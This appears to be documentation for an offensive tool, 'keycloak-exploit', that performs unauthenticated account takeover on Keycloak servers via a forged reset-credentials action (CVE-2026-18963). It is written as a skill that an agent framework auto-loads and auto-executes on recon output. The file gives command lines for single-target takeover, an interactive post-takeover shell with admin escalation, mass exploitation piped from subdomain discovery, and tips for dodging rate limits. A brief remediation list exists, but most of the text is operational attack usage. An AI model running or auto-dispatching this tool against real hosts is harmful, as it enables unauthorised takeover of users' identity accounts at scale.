keycloak-exploit git:20260921.3a32414C

Immutable. This exact content is served forever at /api/v1/blob/38aa0fa664f9fcc7.

---
domain: security
category: exploit
trigger:
  - keycloak-exploit
  - cve-2026-18963
  - keycloak ato
  - keycloak account takeover
  - keycloak reset-credentials
  - keycloak unauth
  - keycloak misconfiguration
auto_load: true
---

# keycloak-exploit — CVE-2026-18963

Keycloak account takeover via unauthenticated `reset-credentials` Required Action bypass.

## Affected Versions

Keycloak **< 26.0.7** with **reset-credentials** Required Action enabled and accessible without authentication.

## Vulnerability Summary

Keycloak allows Required Actions (e.g., `reset-credentials`, `update-password`) to execute **before** authentication if:
1. The action is enabled in realm settings
2. The action is not protected by authentication requirements
3. The user's Required Actions list includes the action

Attacker flow:
1. Enumerate valid usernames (registration errors, timing, forgot-password)
2. Forge `kc_action=reset-credentials` token (no signature validation for this flow)
3. Set new password → account takeover

**Impact:** Full account takeover for any user in misconfigured realms.

**CVSS:** 9.1 Critical (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N)

## Usage

### Single Target

```bash
# Detect vulnerable realms
python3 testing/keycloak-exploit/keycloak_exploit.py -u https://sso.example.com

# Takeover user index 0 (first enumerated user)
python3 testing/keycloak-exploit/keycloak_exploit.py -u https://sso.example.com --takeover 0

# Interactive shell after takeover
python3 testing/keycloak-exploit/keycloak_exploit.py -u https://sso.example.com --takeover 0 --shell
```

### Pipeline Mode

```bash
# Subfinder + httpx → keycloak-exploit
subfinder -d target.com -silent \
  | httpx -silent \
  | python3 testing/keycloak-exploit/keycloak_exploit.py --takeover 0

# From file
cat sso-hosts.txt | python3 testing/keycloak-exploit/keycloak_exploit.py --takeover 0
```

## Interactive Shell Commands

```
token              — obtain access token via password grant
whoami             — fetch /userinfo (current user profile)
users              — list realm users (admin token required)
admin              — attempt admin role escalation
clients            — list realm clients
groups             — list realm groups
help               — show commands
exit               — quit shell
```

## Detection Logic

1. **Realm discovery:** Parse login page for realm name
2. **Required Actions check:** Fetch `/realms/{realm}/account` → extract enabled actions
3. **Username enumeration:** Registration errors, timing attacks, forgot-password
4. **Exploit:** POST to `/realms/{realm}/login-actions/required-action` with `kc_action=reset-credentials`

## Output

- **stdout:** color-coded detection + takeover results
- **Quiet mode:** `-q` suppresses banner
- **User-Agent:** `keycloak-exploit/2.0 (CVE-2026-18963)`

## Remediation

1. Upgrade to Keycloak 26.0.7+
2. Require authentication for all Required Actions
3. Disable `reset-credentials` Required Action if unused
4. Enable CAPTCHA on password reset flows
5. Monitor for `kc_action` parameter abuse in logs

## References

- CVE-2026-18963
- Keycloak Security Advisory KCSA-2026-003

## Integration

Auto-loaded when Novahaku detects: `keycloak`, `cve-2026-18963`, `sso`, `iam`, `reset-credentials`, or Keycloak-related recon output.

**Router dispatch:** `loader.py` maps Keycloak recon → `keycloak-exploit` auto-execution.

## Pitfalls

- **False positives:** Some realms expose Required Actions list but block execution at authentication layer. Exploit attempt will fail gracefully.
- **Username enumeration required:** Tool cannot takeover without valid usernames. Use registration errors, timing, or external OSINT.
- **Rate limiting:** Keycloak may block rapid password reset attempts. Use delays in pipeline mode.
- **Realm discovery:** If realm name is non-standard, use `--realm` flag to override auto-detection.

## Advanced Usage

### Custom realm + username

```bash
python3 testing/keycloak-exploit/keycloak_exploit.py \
  -u https://sso.example.com \
  --realm internal \
  --username admin \
  --takeover 0
```

### Silent mode (pipeline integration)

```bash
cat targets.txt | python3 testing/keycloak-exploit/keycloak_exploit.py -q --takeover 0 2>/dev/null | tee hits.log
```